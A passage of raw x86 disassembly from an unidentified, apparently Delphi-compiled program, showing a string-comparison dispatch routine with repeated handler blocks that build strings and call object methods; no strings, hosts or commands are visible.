jmp 0x59a5e2
mov eax, dword [ebp - 0x53c]
call fcn.00404ae4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x59a607
call fcn.0059244c
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae008
call fcn.00405e6c
jne 0x59a715
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0xe20]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe20]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x59a69a
lea edx, [ebp - 0xe24]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0xe24]
push eax
lea eax, [ebp - 0xe28]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0xe28]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0xe34]
push eax
lea ecx, [ebp - 0xe38]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe38]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xe34]
lea edx, [ebp - 0xe30]
call fcn.0058feb0
mov eax, dword [ebp - 0xe30]
call fcn.00405ed4
push eax
call fcn.00540674
cmp eax, 5
sete al
lea edx, [ebp - 0xe2c]
call fcn.00593610
mov edx, dword [ebp - 0xe2c]
mov ecx, 0x5ae028
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae048
call fcn.00405e6c
jne 0x59ab12
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0xe3c]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0xe3c]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0xe40]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0xe40]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0xe44]
push eax
lea ecx, [ebp - 0xe48]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe48]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xe44]
mov eax, 0x5ae060
call fcn.00410338
test eax, eax
je 0x59a8d5
lea eax, [ebp - 0xe4c]
push eax
lea ecx, [ebp - 0xe50]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe50]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xe4c]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0xe54]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0xe54]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0xe58]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xe58]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0xe5c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xe5c]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0xe60]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0xe60]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0xe64]
push eax
lea ecx, [ebp - 0xe68]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe68]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xe64]
mov eax, 0x5ae060
call fcn.00410338
test eax, eax
je 0x59a9f1
lea eax, [ebp - 0xe6c]
push eax
lea ecx, [ebp - 0xe70]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe70]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xe6c]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0xe74]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0xe74]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae084
lea eax, [ebp - 0xe78]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xe78]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae084
lea eax, [ebp - 0xe7c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xe7c]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0xe80]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0xe80]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0xe84]
push eax
lea ecx, [ebp - 0xe88]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe88]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xe84]
mov eax, 0x5ae060
call fcn.00410338
test eax, eax
je 0x5acec8
lea eax, [ebp - 0xe8c]
push eax
lea ecx, [ebp - 0xe90]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe90]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xe8c]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0xe94]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0xe94]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae090
lea eax, [ebp - 0xe98]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xe98]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae090
lea eax, [ebp - 0xe9c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xe9c]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0xea0]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0xea0]
call fcn.00593fdc
pop ecx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae09c
call fcn.00405e6c
jne 0x59b0c2
lea eax, [ebp - 0xea4]
push eax
lea ecx, [ebp - 0xea8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xea8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xea4]
lea edx, [ebp - 0x3d0]
call fcn.00593948
lea eax, [ebp - 0xeac]
push eax
lea ecx, [ebp - 0xeb0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xeb0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xeac]
lea edx, [ebp - 0x3d4]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x59ac9b
push 0
lea eax, [ebp - 0xeb8]
push eax
lea eax, [ebp - 0xebc]
push eax
lea ecx, [ebp - 0xec0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xec0]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xebc]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0xeb8]
lea edx, [ebp - 0xeb4]
call fcn.00593948
mov edx, dword [ebp - 0xeb4]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
push 0
lea eax, [ebp - 0xec8]
push eax
lea eax, [ebp - 0xecc]
push eax
lea ecx, [ebp - 0xed0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xed0]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xecc]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b24d0
mov eax, dword [ebp - 0xec8]
lea edx, [ebp - 0xec4]
call fcn.00593948
mov edx, dword [ebp - 0xec4]
lea eax, [ebp - 0x3d4]
call fcn.00405adc
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0xed4]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0xed4]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0xed8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0xed8]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
lea edx, [ebp - 0xedc]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov eax, dword [ebp - 0xedc]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0xee0]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xee0]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0xee4]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xee4]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0xee8]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov eax, dword [ebp - 0xee8]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0xeec]
push eax
lea ecx, [ebp - 0xef0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xef0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xeec]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0xef4]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0xef4]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae084
lea eax, [ebp - 0xef8]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xef8]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae084
lea eax, [ebp - 0xefc]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xefc]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0xf00]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0xf00]
call fcn.00593fdc
pop ecx
lea edx, [ebp - 0xf04]
mov eax, dword [ebp - 0x3d4]
call fcn.0058feb0
mov eax, dword [ebp - 0xf04]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae090
lea eax, [ebp - 0xf08]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xf08]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae090
lea eax, [ebp - 0xf0c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xf0c]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0xf10]
mov eax, dword [ebp - 0x3d4]
call fcn.0058feb0
mov eax, dword [ebp - 0xf10]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0xf14]
push eax
lea ecx, [ebp - 0xf18]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf18]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xf14]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0xf1c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0xf1c]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae0b8
lea eax, [ebp - 0xf20]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xf20]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae0b8
lea eax, [ebp - 0xf24]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xf24]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0xf28]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0xf28]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0xf2c]
push eax
lea ecx, [ebp - 0xf30]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf30]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xf2c]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0xf34]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0xf34]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae0c4
lea eax, [ebp - 0xf38]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xf38]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae0c4
lea eax, [ebp - 0xf3c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xf3c]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0xf40]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0xf40]
call fcn.00593fdc
pop ecx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae0d0
call fcn.00405e6c
jne 0x59b340
lea eax, [ebp - 0xf44]
push eax
lea ecx, [ebp - 0xf48]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf48]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xf44]
lea edx, [ebp - 0x3d0]
call fcn.00593948
lea eax, [ebp - 0xf4c]
push eax
lea ecx, [ebp - 0xf50]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf50]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xf4c]
lea edx, [ebp - 0x3d4]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x59b24b
push 0
lea eax, [ebp - 0xf58]
push eax
lea eax, [ebp - 0xf5c]
push eax
lea ecx, [ebp - 0xf60]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf60]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xf5c]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0xf58]
lea edx, [ebp - 0xf54]
call fcn.00593948
mov edx, dword [ebp - 0xf54]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
push 0
lea eax, [ebp - 0xf68]
push eax
lea eax, [ebp - 0xf6c]
push eax
lea ecx, [ebp - 0xf70]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf70]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xf6c]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b24d0
mov eax, dword [ebp - 0xf68]
lea edx, [ebp - 0xf64]
call fcn.00593948
mov edx, dword [ebp - 0xf64]
lea eax, [ebp - 0x3d4]
call fcn.00405adc
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
lea eax, [ebp - 0xf74]
push eax
lea ecx, [ebp - 0xf78]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf78]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xf74]
mov eax, dword [0x5dbda4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x3d0]
mov eax, dword [0x5dbda4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x3d4]
mov eax, dword [0x5dbda4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0xf7c]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0xf7c]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0xf80]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0xf80]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae0f0
call fcn.00405e6c
jne 0x59b413
mov dword [ebp - 0x54c], 1
lea eax, [ebp - 0xf88]
push eax
lea ecx, [ebp - 0xf8c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf8c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xf88]
lea edx, [ebp - 0xf84]
call fcn.0058feb0
mov eax, dword [ebp - 0xf84]
push eax
lea eax, [ebp - 0xf94]
push eax
lea ecx, [ebp - 0xf98]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xf98]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xf94]
lea edx, [ebp - 0xf90]
call fcn.0058feb0
mov eax, dword [ebp - 0xf90]
mov cl, 1
pop edx
call fcn.0058f374
inc dword [ebp - 0x54c]
cmp dword [ebp - 0x54c], 0xb
jne 0x59b360
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae10c
call fcn.00405e6c
jne 0x59b58e
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0xf9c]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0xf9c]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0xfa0]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0xfa0]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0xfa4]
push eax
lea ecx, [ebp - 0xfa8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfa8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xfa4]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0xfac]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0xfac]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0xfb0]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xfb0]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0xfb4]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xfb4]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0xfb8]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0xfb8]
call fcn.00593fdc
pop ecx
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae124
call fcn.00405e6c
je 0x59b5b6
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae13c
call fcn.00405e6c
jne 0x59bba2
lea eax, [ebp - 0xfbc]
push eax
lea ecx, [ebp - 0xfc0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfc0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xfbc]
lea edx, [ebp - 0x3d0]
call fcn.00593948
lea eax, [ebp - 0xfc4]
push eax
lea ecx, [ebp - 0xfc8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfc8]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xfc4]
lea edx, [ebp - 0x3d4]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x59b729
push 0
lea eax, [ebp - 0xfd0]
push eax
lea eax, [ebp - 0xfd4]
push eax
lea ecx, [ebp - 0xfd8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfd8]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xfd4]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0xfd0]
lea edx, [ebp - 0xfcc]
call fcn.00593948
mov edx, dword [ebp - 0xfcc]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
push 0
lea eax, [ebp - 0xfe0]
push eax
lea eax, [ebp - 0xfe4]
push eax
lea ecx, [ebp - 0xfe8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xfe8]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xfe4]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b24d0
mov eax, dword [ebp - 0xfe0]
lea edx, [ebp - 0xfdc]
call fcn.00593948
mov edx, dword [ebp - 0xfdc]
lea eax, [ebp - 0x3d4]
call fcn.00405adc
mov eax, dword [ebp - 0x534]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x524]
mov eax, dword [ebp - 0x520]
call fcn.005b2428
lea eax, [ebp - 0xff0]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.00405f3c
mov eax, dword [ebp - 0xff0]
lea edx, [ebp - 0xfec]
call fcn.0040ac2c
push dword [ebp - 0xfec]
push 0x5ae158
push dword [ebp - 0x3d0]
lea eax, [ebp - 0x3d0]
mov edx, 3
call fcn.00405dd8
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0xff4]
mov edx, 3
call fcn.00405dd8
mov edx, dword [ebp - 0xff4]
mov eax, dword [0x5dbda0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x3d0]
mov eax, dword [0x5dbda0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x3d4]
mov eax, dword [0x5dbda0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x534]
dec edx
mov ecx, 0x5ad7b4
mov eax, dword [0x5dbcd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0xff8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0xff8]
mov edx, 0x5ad7b4
call fcn.0058ee94
push ebp
lea eax, [ebp - 0xffc]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5adc48
call fcn.00405d5c
mov eax, dword [ebp - 0xffc]
call fcn.00593fdc
pop ecx
push ebp
mov eax, 0x5ad7b4
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x1000]
push eax
lea ecx, [ebp - 0x1004]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1004]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1000]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0x1008]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1008]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x100c]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x100c]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae078
lea eax, [ebp - 0x1010]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1010]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x1014]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1014]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x1018]
push eax
lea ecx, [ebp - 0x101c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x101c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x1018]
lea edx, [ebp - 0x3c0]
call fcn.00593948
lea edx, [ebp - 0x1020]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x1020]
push eax
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae084
lea eax, [ebp - 0x1024]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1024]
pop edx
call fcn.0058ee94
push ebp
push 0x5ae06c
push dword [ebp - 0x418]
push 0x5ae084
lea eax, [ebp - 0x1028]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0x1028]
call fcn.00593fdc
pop ecx
push ebp
lea edx, [ebp - 0x102c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058feb0
mov eax, dword [ebp - 0x102c]
call fcn.00593fdc
pop ecx
lea eax, [ebp - 0x1030]
push eax
lea ecx, [ebp - 0x1034]
